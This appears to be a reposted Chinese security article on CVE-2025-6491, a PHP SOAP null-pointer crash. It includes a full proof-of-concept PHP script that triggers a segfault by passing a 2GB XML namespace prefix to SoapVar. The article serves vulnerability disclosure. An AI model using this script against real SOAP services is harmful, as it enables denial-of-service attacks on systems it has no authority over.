PHP 漏洞 CVE-2025-6491(SOAP DoS)

原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2NTk4MTE1MQ==&mid=2247487548&idx=1&sn=7b0fb2f3107df101675679504bbb0c10

PHP 漏洞 CVE-2025-6491(SOAP DoS)

TtTeam 2025-07-08 06:55

CVE-2025-6491:通过巨大的 XML 命名空间在 PHP SOAP 中取消引用空指针

PHP 漏洞 CVE-2025-6491(SOAP DoS)

该漏洞由卡塔尔计算研究所的 Ahmed Lekssays 发现,当 PHP SOAP 扩展处理大于 2GB 的完全限定 XML 名称时,该漏洞会影响该扩展。

公告中写道:“如果使用大于 2G 的完全限定名称创建 SoapVar 实例,这将导致空指针取消引用,从而引发分段错误。 ”

该缺陷存在于 PHP 使用 libxml2 实现的 SOAP 机制中,该机制与过长的 XML 命名空间前缀交互。当前缀超过最大 int 值时,会导致 xmlNodeSetName() 静默失败,从而使 XML 节点处于无效状态。这会导致后续序列化过程中触发分段错误。

使用 str_repeat(“A”, 0x7fffffff) 的简单 PHP 脚本会导致 SOAP 操作期间崩溃:

<?php
ini_set('memory_limit', '6144M');
// 2 GB prefix to overflow int (INT_MAX = 2147483647)
$hugePrefix = str_repeat(&#34;A&#34;, 0x7fffffff);
// This is the local part of the XML name
$localName = &#34;Element&#34;;
// This will be passed to xmlBuildQName(prefix: hugePrefix, ncname: localName)
$soapVar = new SoapVar(
    &#34;value&#34;,
    XSD_STRING,
    null,
    null,
    &#34;{$hugePrefix}:{$localName}&#34; // Triggers xmlBuildQName
);
$options = [
    'location' => 'http://127.0.0.1/', // localhost dummy
    'uri' => 'urn:dummy',
    'trace' => 1,
    'exceptions' => true,
];
try {
    $client = new SoapClient(null, $options);
    $client->__soapCall(&#34;DummyFunction&#34;, [$soapVar]);
} catch (Exception $e) {
    echo &#34;Caught Exception: &#34; . $e->getMessage() . &#34;\n&#34;;
}
?>

执行时,PHP 进程因崩溃而终止:“ Valgrind 确认‘在地址 0x0 处的大小 1 的读取无效’。”

这使得该漏洞特别容易受到拒绝服务 (DoS) 攻击,特别是在接受不受信任输入的 SOAP 公开 API 或 Web 服务中。